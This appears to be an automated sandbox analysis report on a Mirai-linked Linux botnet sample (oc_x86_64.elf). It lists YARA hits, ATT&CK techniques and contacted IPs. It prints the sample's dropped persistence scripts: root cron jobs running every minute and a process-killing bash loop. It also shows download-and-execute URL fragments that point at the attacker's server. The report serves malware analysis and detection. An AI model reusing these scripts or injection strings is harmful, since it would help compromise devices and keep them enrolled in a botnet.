Source: Yara match	File source: 7775.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6647.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7918.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7919.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5778.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 9826.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5810.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 9892.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 8358.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6501.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5782.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 10329.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7923.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 10415.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6293.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 8078.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 8688.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5811.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 8748.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7921.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7701.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7362.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 8810.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 9746.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7218.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6102.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6865.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 10123.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6793.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 9310.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7568.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5781.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 8945.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7144.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 8504.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7920.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6028.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 9164.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7934.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 8152.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7623.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7927.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7926.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7925.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7290.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5780.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 9528.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7496.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5956.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7422.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 9454.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7884.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5820.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7072.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 10269.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 9236.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6355.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 8882.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 8627.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6160.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6575.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7930.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 10486.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6428.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7929.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 10189.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6925.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6719.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5752.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7000.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5812.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 10039.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7922.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 8430.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 9382.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 8298.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5779.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5783.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 9683.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 9600.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6220.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 9090.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 5490, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 5752, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 5778, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 5779, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 5780, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 5781, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 5782, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 5783, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 5810, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 5811, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 5812, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 5820, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 5880, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 5956, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 6028, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 6102, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 6160, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 6220, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 6293, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 6355, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 6428, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 6501, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 6575, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 6647, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 6719, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 6793, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 6865, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 6925, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 7000, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 7072, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 7144, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 7218, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 7290, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 7362, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 7422, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 7496, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 7568, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 7623, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 7701, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 7775, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 7884, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 7918, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 7919, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 7920, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 7921, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 7922, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 7923, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 7925, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 7926, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 7927, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 7928, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 7929, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 7930, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 7934, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 8006, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 8078, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 8152, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 8224, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 8298, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 8358, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 8430, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 8504, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 8564, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 8627, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 8688, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 8748, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 8810, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 8882, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	11 Command and Scripting Interpreter	1 Systemd Service	1 Systemd Service	1 Masquerading	1 OS Credential Dumping	1 System Network Configuration Discovery	Remote Services	Data from Local System	1 Non-Standard Port	Exfiltration Over Other Network Medium	1 Data Manipulation
Credentials	Domains	Default Accounts	11 Scheduled Task/Job	11 Scheduled Task/Job	11 Scheduled Task/Job	1 Disable or Modify Tools	LSASS Memory	1 System Information Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	1 Service Stop
Email Addresses	DNS Server	Domain Accounts	At	1 Scripting	Logon Script (Windows)	2 File and Directory Permissions Modification	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Hidden Files and Directories	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Disable or Modify System Firewall	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 File Deletion	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Source	Detection	Scanner	Label	Link
oc_x86_64.elf	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/envelope/	0%	URL Reputation	safe
http://149.88.81.199/ocwget.sh	0%	Avira URL Cloud	safe
http://149.88.81.199/ocwget.sh;$	0%	Avira URL Cloud	safe
http://149.88.81.199/ocwget.sh;sh$	0%	Avira URL Cloud	safe
http://149.88.81.199/ocwget.sh;sh	0%	Avira URL Cloud	safe
http://149.88.81.199/octopus.sh;chmod	0%	Avira URL Cloud	safe
http://purenetworks.com/HNAP1/	0%	Avira URL Cloud	safe
http://149.88.81.199/ocwget.sh	2%	Virustotal		Browse
http://149.88.81.199/octopus.sh;chmod	2%	Virustotal		Browse
http://149.88.81.199/ocwget.sh;sh	2%	Virustotal		Browse
http://purenetworks.com/HNAP1/	2%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
octopus1337.geek	149.88.81.199	true	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://149.88.81.199/ocwget.sh	oc_x86_64.elf	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://149.88.81.199/octopus.sh;chmod	oc_x86_64.elf, octopus.12.dr, octopus.83.dr	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://149.88.81.199/ocwget.sh;sh$	oc_x86_64.elf	false	Avira URL Cloud: safe	unknown
http://149.88.81.199/ocwget.sh;sh	oc_x86_64.elf	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/soap/encoding/	oc_x86_64.elf	false	URL Reputation: safe URL Reputation: safe	unknown
http://149.88.81.199/ocwget.sh;$	oc_x86_64.elf	false	Avira URL Cloud: safe	unknown
http://purenetworks.com/HNAP1/	oc_x86_64.elf	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/soap/envelope/	oc_x86_64.elf	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
187.154.188.122	unknown	Mexico	8151	UninetSAdeCVMX	false
189.179.223.33	unknown	Mexico	8151	UninetSAdeCVMX	false
5.202.188.153	unknown	Iran (ISLAMIC Republic Of)	201150	DIDEHABNNETIR	false
187.1.174.203	unknown	Brazil	28252	WorldNetTelecomComercioeServicosdeTelecomuniBR	false
37.1.174.203	unknown	France	29286	SKYLOGIC-ASIT	false
37.167.23.5	unknown	France	51207	FREEMFR	false
149.88.81.199	octopus1337.geek	United States	188	SAIC-ASUS	false
2.179.223.33	unknown	Iran (ISLAMIC Republic Of)	58224	TCIIR	false
187.47.188.63	unknown	Brazil	26615	TIMSABR	false
189.218.245.67	unknown	Mexico	11888	TelevisionInternacionalSAdeCVMX	false
187.230.233.54	unknown	Mexico	8151	UninetSAdeCVMX	false
5.154.188.122	unknown	United Kingdom	48273	ESSENSYSGB	false
189.31.93.23	unknown	Brazil	8167	BrasilTelecomSA-FilialDistritoFederalBR	false
187.248.133.67	unknown	Mexico	22566	MaxcomTelecomunicacionesSABdeCVMX	false
187.173.47.96	unknown	Mexico	8151	UninetSAdeCVMX	false
31.228.94.199	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
187.167.23.5	unknown	Mexico	6503	AxtelSABdeCVMX	false
187.202.188.153	unknown	Mexico	8151	UninetSAdeCVMX	false
189.228.94.199	unknown	Mexico	8151	UninetSAdeCVMX	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
149.88.81.199	oc_i686.elf	Get hash	malicious	Mirai	Browse
	oc_arm7.elf	Get hash	malicious	Unknown	Browse
	oc_mipsel.elf	Get hash	malicious	Unknown	Browse
	oc_arm.elf	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
octopus1337.geek	oc_i686.elf	Get hash	malicious	Mirai	Browse	149.88.81.199
	oc_arm7.elf	Get hash	malicious	Unknown	Browse	149.88.81.199
	oc_arm.elf	Get hash	malicious	Unknown	Browse	149.88.81.199

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
DIDEHABNNETIR	SecuriteInfo.com.Trojan.DownLoader46.63386.25844.4041.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	5.202.6.237
	caA474oBY2.elf	Get hash	malicious	Mirai	Browse	46.249.120.166
	vtaIo1M3v2.elf	Get hash	malicious	Mirai	Browse	188.209.150.60
	7SyP6X5mqJ.elf	Get hash	malicious	Mirai	Browse	46.249.120.152
	arm7.elf	Get hash	malicious	Mirai	Browse	5.202.43.155
	8UwWC37whF.elf	Get hash	malicious	Unknown	Browse	5.202.147.97
	7FZOvQP9T5.elf	Get hash	malicious	Mirai	Browse	46.249.120.198
	file.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	5.202.27.19
	x86.elf	Get hash	malicious	Mirai	Browse	5.202.43.163
	I5aSlg0G3e.elf	Get hash	malicious	Mirai	Browse	5.202.43.157
UninetSAdeCVMX	oc_i686.elf	Get hash	malicious	Mirai	Browse	200.38.218.14
	154.216.18.223-arm-2024-08-17T03_43_59.elf	Get hash	malicious	Mirai	Browse	189.185.250.171
	154.216.18.223-x86-2024-08-17T03_44_00.elf	Get hash	malicious	Mirai	Browse	201.145.48.177
	b3astmode.arm.elf	Get hash	malicious	Mirai	Browse	187.171.36.107
	SecuriteInfo.com.Linux.Siggen.9999.22286.12230.elf	Get hash	malicious	Mirai	Browse	189.229.41.252
	sora.arm7.elf	Get hash	malicious	Mirai	Browse	201.129.44.118
	arm6-20240814-0111.elf	Get hash	malicious	Mirai	Browse	189.146.43.33
	teste.arm.elf	Get hash	malicious	Gafgyt, Mirai, Moobot, Okiru	Browse	187.156.47.11
	sora.arm7.elf	Get hash	malicious	Mirai	Browse	201.143.43.134
	botx.arm6.elf	Get hash	malicious	Mirai	Browse	189.162.94.13
UninetSAdeCVMX	oc_i686.elf	Get hash	malicious	Mirai	Browse	200.38.218.14
	154.216.18.223-arm-2024-08-17T03_43_59.elf	Get hash	malicious	Mirai	Browse	189.185.250.171
	154.216.18.223-x86-2024-08-17T03_44_00.elf	Get hash	malicious	Mirai	Browse	201.145.48.177
	b3astmode.arm.elf	Get hash	malicious	Mirai	Browse	187.171.36.107
	SecuriteInfo.com.Linux.Siggen.9999.22286.12230.elf	Get hash	malicious	Mirai	Browse	189.229.41.252
	sora.arm7.elf	Get hash	malicious	Mirai	Browse	201.129.44.118
	arm6-20240814-0111.elf	Get hash	malicious	Mirai	Browse	189.146.43.33
	teste.arm.elf	Get hash	malicious	Gafgyt, Mirai, Moobot, Okiru	Browse	187.156.47.11
	sora.arm7.elf	Get hash	malicious	Mirai	Browse	201.143.43.134
	botx.arm6.elf	Get hash	malicious	Mirai	Browse	189.162.94.13
WorldNetTelecomComercioeServicosdeTelecomuniBR	gXjp7HgNea.elf	Get hash	malicious	Mirai	Browse	187.1.174.128
	3yXKMhVnoV.elf	Get hash	malicious	Mirai	Browse	187.1.174.107
	NqiyKmoVOe.elf	Get hash	malicious	Unknown	Browse	179.189.249.187
	mipsel-20220401-2259	Get hash	malicious	Mirai Moobot	Browse	187.1.174.111
	DpEACSjTGg	Get hash	malicious	Mirai	Browse	187.1.174.111
	u4M7XeqKtD	Get hash	malicious	Mirai	Browse	179.189.249.185
	8xVa4UKUer	Get hash	malicious	Mirai	Browse	187.1.174.127
SKYLOGIC-ASIT	sora.m68k.elf	Get hash	malicious	Mirai	Browse	37.203.195.0
	LisectAVT_2403002A_280.exe	Get hash	malicious	PikaBot	Browse	84.247.157.112
	LisectAVT_2403002A_280.exe	Get hash	malicious	PikaBot	Browse	84.247.157.112
	LisectAVT_2403002A_327.dll	Get hash	malicious	Wannacry	Browse	95.210.118.1
	LisectAVT_2403002A_80.exe	Get hash	malicious	GuLoader	Browse	84.247.147.161
	LisectAVT_2403002A_80.exe	Get hash	malicious	GuLoader	Browse	84.247.147.161
	Lisect_AVT_24003_G1B_122.exe	Get hash	malicious	Unknown	Browse	154.73.28.157
	gw3yTM2uiZ.elf	Get hash	malicious	Mirai	Browse	5.61.193.147
	arm5-20240623-2204.elf	Get hash	malicious	Mirai	Browse	197.234.45.5
	033MSOG241591GHD.out.vbs	Get hash	malicious	Unknown	Browse	84.247.168.16

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
/dev/octopus	oc_i686.elf	Get hash	malicious	Mirai	Browse
/etc/init.d/nginnx	oc_i686.elf	Get hash	malicious	Mirai	Browse
/dev/ocmount	oc_i686.elf	Get hash	malicious	Mirai	Browse
	oc_arm7.elf	Get hash	malicious	Unknown	Browse
	oc_mipsel.elf	Get hash	malicious	Unknown	Browse
	oc_arm.elf	Get hash	malicious	Unknown	Browse

Created / dropped Files

/dev/ocmount

Download File

Process:	/tmp/oc_x86_64.elf
File Type:	Bourne-Again shell script, ASCII text executable
Category:	dropped
Size (bytes):	479
Entropy (8bit):	4.026921351476117
Encrypted:	false
SSDEEP:	6:9rd/9GjuZZXegND07aW02vFgWccOHmAyCHOC1A9KiyhlrxleXUEMJJPJHeIHyHi5:rFGjuZog2+WvFgxq6DhllleXRW8ISCuU
MD5:	A3FC64B86B20A7B2EAA9330E1064D1F1
SHA1:	3A6F294C550A578D5E337F67FD4D9C1984EEA885
SHA-256:	6029DD069BC913653EEC32E54FB005A80FB71EBB5F0A584C71E06AC08FBBECE6
SHA-512:	CE26F2C6ECEC049B7053008E323018EC8A709942A456464A1D423F80B92BCA410D9B0F661093EB732254E6690900AC9A15B6F62450F72E6511195AEE403C50B6
Malicious:	true
Joe Sandbox View:	Filename: oc_i686.elf, Detection: malicious, Browse Filename: oc_arm7.elf, Detection: malicious, Browse Filename: oc_mipsel.elf, Detection: malicious, Browse Filename: oc_arm.elf, Detection: malicious, Browse
Reputation:	low
Preview:	#!/bin/bash..while true; do. cat /proc/$$/mountinfo \| while read -r line; do. if [[ $line == " /proc/" ]]; then. if [[ $line != "/boot" ]]; then. PID=$(echo $line \| grep -o "/proc/[0-9]" \| grep -o "[0-9]"). PID=${PID#/proc/}. if [[ -n "$PID" ]]; then. echo "Found process the and kill pid: $PID". kill -9 $PID. fi. fi. fi. done. sleep 30.done.

/dev/octopus

Download File

Process:	/tmp/oc_x86_64.elf
File Type:	Bourne-Again shell script, ASCII text executable
Category:	dropped
Size (bytes):	30
Entropy (8bit):	4.01506101220307
Encrypted:	false
SSDEEP:	3:TKH/cKKsWRAIAx:VsWmpx
MD5:	161285CC3A0846BE4CD1EABF6BDBBDD5
SHA1:	0F93E931EC1B34CA9DC50017259FBDAEEE2E18A4
SHA-256:	278231061C7A0352AF96306380376BCD36132B18E40C2ACCE6928262AA65554D
SHA-512:	982C14AAAFAC2230B5967A364BC14363235DEABD825AD8FCFFEC0BE4DEE6812C3CE8C3EAFE88AEE8D868676F634CE188C9314F41158BBA9B6AAD3C8D2079D497
Malicious:	true
Joe Sandbox View:	Filename: oc_i686.elf, Detection: malicious, Browse
Reputation:	low
Preview:	#!/bin/bash./boot/systems.d &.

/etc/cron.d/mount.sh

Download File

Process:	/bin/sh
File Type:	ASCII text
Category:	dropped
Size (bytes):	38
Entropy (8bit):	3.8463189626846375
Encrypted:	false
SSDEEP:	3:3P11tKecVLE3Ov:ge7A
MD5:	67EC4A157E5B63970CFBB8CC55883AD7
SHA1:	5262B8C108DC3AEF69FCA6FFD959893DE852DC67
SHA-256:	0CB3CC915BB7492FF579F2B59237A5899088E5C5F238125AC9F0B5F73D2723E7
SHA-512:	EB6310992DC6E3AC1FCA2BCF26D82365494AA0ADBD80EE5EC6231B2418D1DAF6608F7820A560B4FBDA8C8885A59F8A82CA86AAA481F254D207926C1F6C5802B9
Malicious:	true
Reputation:	low
Preview:	* * * * * root /bin/bash /dev/ocmount.

/etc/cron.d/scriptd

Download File

Process:	/bin/sh
File Type:	ASCII text
Category:	dropped
Size (bytes):	38
Entropy (8bit):	3.8463189626846375
Encrypted:	false
SSDEEP:	3:3P11tKecVLEi:ge+
MD5:	7FFF3FA240D8B9B80323154F97F13FAC
SHA1:	2E8AFBEFB78A891C122B589FB3D48D70DB6814FD
SHA-256:	F38814B3D2B0FDD9A3222A4DB36DF7911684F9001D9B8BA6922DA27E5D28B11B
SHA-512:	1299C8AADFBF1494EDFEE235E94836BFC3583EA5AD4B65ABD8C2E2A0C280CA20C2384CEEB742EBBA15FCFE5B420F3D7DCFF95CABB3D9B18CFC90C9AB52BAD00E
Malicious:	true
Reputation:	low
Preview:	* * * * * root /bin/bash /dev/octopus.

/etc/init.d/nginnx

Download File

Process:	/tmp/oc_x86_64.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	177
Entropy (8bit):	4.003242435718664
Encrypted:	false
SSDEEP:	3:TKH4varLHIFd5XhohAm2fl8ZcNUosN1uFFFveYdaBYHdNFDjUv5zvv:haChoWFyiNMN4/ZddgYHdTov5z3
MD5:	06B945066C7C8AE9483639A4454E10CC
